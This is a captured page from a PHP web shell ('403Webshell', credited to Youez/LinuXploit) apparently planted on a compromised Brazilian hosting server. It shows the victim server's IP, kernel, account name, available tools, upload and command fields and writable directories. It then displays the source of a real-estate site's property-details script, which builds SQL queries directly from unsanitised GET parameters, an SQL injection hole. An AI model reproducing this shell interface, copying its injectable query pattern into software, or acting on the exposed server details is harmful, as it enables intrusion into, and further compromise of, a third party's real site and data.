403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/painel/front/tema01/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/painel/front/tema01/model/model_detalhes_imovel.php
<?php
if($_GET['chave'] != ''){
   $id = $_GET['chave'];    
}else{
   $id = $_GET['negocio'];   
}
if($domin == 1){
        $mobile_what = $_GET['mobile'];
}else{
        $iphone = strpos($_SERVER['HTTP_USER_AGENT'], "iPhone");
        $ipad = strpos($_SERVER['HTTP_USER_AGENT'], "iPad");
        $android = strpos($_SERVER['HTTP_USER_AGENT'], "Android");
        $palmpre = strpos($_SERVER['HTTP_USER_AGENT'], "webOS");
        $berry = strpos($_SERVER['HTTP_USER_AGENT'], "BlackBerry");
        $ipod = strpos($_SERVER['HTTP_USER_AGENT'], "iPod");
        $symbian = strpos($_SERVER['HTTP_USER_AGENT'], "Symbian");
        if ($iphone || $ipad || $android || $palmpre || $ipod || $berry || $symbian == true) {
           $mobile_what = 'api';                                            
       } else {
           $mobile_what = 'web';
       }
} 

$imob_load = $banco_geral->query('SELECT * FROM imoveis WHERE id_imovel =  "' . $id . '"');
$imovel = $imob_load->fetch(PDO::FETCH_ASSOC);
$imovel_endereco = $imovel;
$imovel_enderecoo = unserialize($imovel_endereco['latlng']);

if(($imovel['status'] != 0)){
    $caminho = $_SESSION['msifront'];
    echo "<meta http-equiv='refresh' content='0;url=https://$caminho' />";
    //header("Location: https://$caminho");
}

$imob_load = $banco_geral->query('SELECT email FROM users WHERE id_mestre =  "' . $imovel['id_responsavel'] . '"');
$user = $imob_load->fetch(PDO::FETCH_ASSOC);

$imob_load = $banco_geral->query('SELECT * FROM users WHERE id_mestre =  "' . $imovel['id_responsavel'] . '"');
$user2 = $imob_load->fetch(PDO::FETCH_ASSOC);

$imob_load = $banco_dom->query('SELECT user_fone FROM cliente WHERE user_id =  "' . $imovel['id_responsavel'] . '"');
$user3 = $imob_load->fetch(PDO::FETCH_ASSOC);

$imob_load = $banco_dom->query('SELECT whats_tel FROM cliente WHERE user_id =  "' . $imovel['id_responsavel'] . '"');
$user5 = $imob_load->fetch(PDO::FETCH_ASSOC);

$imob_load = $banco_geral->query('SELECT * FROM imoveis WHERE negocio = "' . $imovel['negocio'] . '" and tipo = "' . $imovel['tipo'] . '" and subtipoimovel = "' . $imovel['subtipoimovel'] . '" and cep_cidade = "' . $imovel['cep_cidade'] . '" and cep_bairro = "' . $imovel['cep_bairro'] . '" and id_imovel != "' . $id . '" and status= "0" ORDER BY RAND()');
$imov = $imob_load->fetchAll(PDO::FETCH_ASSOC);

if($imov[0] == ""){
$imob_load = $banco_geral->query('SELECT * FROM imoveis WHERE negocio = "' . $imovel['negocio'] . '" and tipo = "' . $imovel['tipo'] . '" and subtipoimovel = "' . $imovel['subtipoimovel'] . '" and cep_cidade = "' . $imovel['cep_cidade'] . '" and id_imovel != "' . $id . '" and status= "0" ORDER BY RAND()');    
$imov = $imob_load->fetchAll(PDO::FETCH_ASSOC); 
}              

$imob_load = $banco_dom->query('SELECT user_cel FROM cliente WHERE user_id =  "' . $imovel['id_responsavel'] . '"');
$user4 = $imob_load->fetch(PDO::FETCH_ASSOC);

$imob_load = $banco_dom->query('SELECT whats_cel FROM cliente WHERE user_id =  "' . $imovel['id_responsavel'] . '"');
$user6 = $imob_load->fetch(PDO::FETCH_ASSOC);

$imob_load = $banco_dom->query('SELECT user_creci FROM cliente WHERE user_id =  "' . $imovel['id_responsavel'] . '"');
$user7 = $imob_load->fetch(PDO::FETCH_ASSOC);

foreach ($user3 as $user3) {}

foreach ($user4 as $user4) {}

foreach ($user5 as $user5) {}

foreach ($user6 as $user6) {}

foreach ($user7 as $user7) {}

foreach ($user as $user) {}

$imob_load = $banco_geral->query('SELECT * FROM configuracoes');
$imovel_config = $imob_load->fetch(PDO::FETCH_ASSOC);
 
$financiamento = unserialize($imovel_config['financiamento']);
 
$_GET['controller'] = 'Detalhes do Imóvel';

        $fotos = unserialize($imovel['fotos']);
        $fotos_legenda = unserialize($imovel['fotos_legenda']);   
        $area = unserialize($imovel['areas']);
        $detalhes = unserialize($imovel['detalhes']);
        $proximidades = unserialize($imovel['proximidades']);
        $empreendimentosdetalhes = unserialize($imovel['empreendimentosdetalhes']);
        $empreendimentovalores = unserialize($imovel['empreendimentovalores']);
        $empreendimentos = unserialize($imovel['empreendimentovalores']);
        $condicoes = unserialize($imovel['condicoes']);
        $latlng = unserialize($imovel['latlng']);
        $acompanhe = unserialize($imovel['acompanhe']);
        $meta = unserialize($imovel['meta']);
        $unitmone = unserialize($imovel['unitmone']);
        $unidade = explode('%%', $imovel['unidade']);
        $quartos_aux_max = 0;
        $quartos_aux_min = 99;
        $banheiros_aux_max = 0;
        $banheiros_aux_min = 99;
        $vagas_aux_max = 0;
        $vagas_aux_min = 99;
        
        $unidade = array_slice($unidade, 0, -1);
        
        if ($imovel_config['marcadagua'] != 'sem_marca' ){
            //$fotos_pasta = 'fotoslogo';
            $fotos_pasta = 'fotos';
        }  else {
            $fotos_pasta = 'fotos';
        } 
?>

Youez - 2016 - github.com/yon3zu
LinuXploit